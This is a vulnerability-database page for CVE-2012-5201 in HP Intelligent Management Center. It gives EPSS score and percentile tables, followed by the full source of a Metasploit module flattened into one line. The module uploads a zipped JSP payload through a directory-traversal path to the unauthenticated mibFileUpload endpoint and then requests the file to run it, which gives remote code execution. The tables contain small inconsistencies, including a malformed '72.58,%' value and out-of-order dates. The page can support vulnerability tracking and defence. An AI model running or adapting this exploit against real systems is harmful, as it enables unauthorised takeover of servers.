CVE-2012-5201 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	88.59%	–	–
2022-02-13	–	–	89.59%	–	–
2023-02-26	–	–	88.69%	–	–
2023-03-12	–	–	–	62.49%	–
2023-04-30	–	–	–	67.14%	–
2023-06-18	–	–	–	68.85%	–
2023-06-25	–	–	–	68.85%	–
2023-07-02	–	–	–	68.85%	–
2024-01-28	–	–	–	73.7%	–
2024-04-07	–	–	–	76.49%	–
2024-06-02	–	–	–	78.44%	–
2024-10-13	–	–	–	79.87%	–
2024-12-08	–	–	–	79.41%	–
2024-12-22	–	–	–	90.25%	–
2025-02-02	–	–	–	88.49%	–
2025-01-19	–	–	–	90.25%	–
2025-02-02	–	–	–	88.49%	–
2025-03-18	–	–	–	–	70.85%
2025-03-30	–	–	–	–	72.58%
2025-03-30	–	–	–	–	72.58,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	1%
2022-02-13	1%
2023-02-26	1%
2023-03-12	97%
2023-04-30	97%
2023-06-18	98%
2023-06-25	97%
2023-07-02	98%
2024-01-28	98%
2024-04-07	98%
2024-06-02	98%
2024-10-13	98%
2024-12-08	98%
2024-12-22	99%
2025-02-02	99%
2025-01-19	99%
2025-02-02	99%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'HP Intelligent Management Center Arbitrary File Upload', 'Description' => %q{ This module exploits a code execution flaw in HP Intelligent Management Center. The vulnerability exists in the mibFileUpload which is accepting unauthenticated file uploads and handling zip contents in a insecure way. Combining both weaknesses a remote attacker can accomplish arbitrary file upload. This module has been tested successfully on HP Intelligent Management Center 5.1 E0202 over Windows 2003 SP2. }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability Discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-5201' ], [ 'OSVDB', '91026' ], [ 'BID', '58385' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-050/' ], [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03689276' ] ], 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'HP Intelligent Management Center 5.1 E0202 / Windows', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 07 2013')) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']) ], self.class) end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, "login.jsf"), 'method' => 'GET' }) if res and res.code == 200 and res.body =~ /HP Intelligent Management Center/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit @peer = "#{rhost}:#{rport}" # New lines are handled on the vuln app and payload is corrupted jsp = payload.encoded.gsub(/\x0d\x0a/, "").gsub(/\x0a/, "") jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" # Zipping with CM_STORE to avoid errors while zip decompressing # on the Java vulnerable application zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) zip.add_file("../../../../../../../ROOT/#{jsp_name}", jsp) post_data = Rex::MIME::Message.new post_data.add_part(zip.pack, "application/octet-stream", nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(4))}.zip\"") # Work around an incompatible MIME implementation data = post_data.to_s data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") print_status("#{@peer} - Uploading the JSP payload...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, "webdm", "mibbrowser", "mibFileUpload"), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => "JSESSIONID=#{Rex::Text.rand_text_hex(32)}" }) if res and res.code == 200 and res.body.empty? print_status("#{@peer} - JSP payload uploaded successfully") register_files_for_cleanup(jsp_name) else fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP payload upload failed") end print_status("#{@peer} - Executing payload...") send_request_cgi({ 'uri' => normalize_uri(jsp_name), 'method' => 'GET' }) end end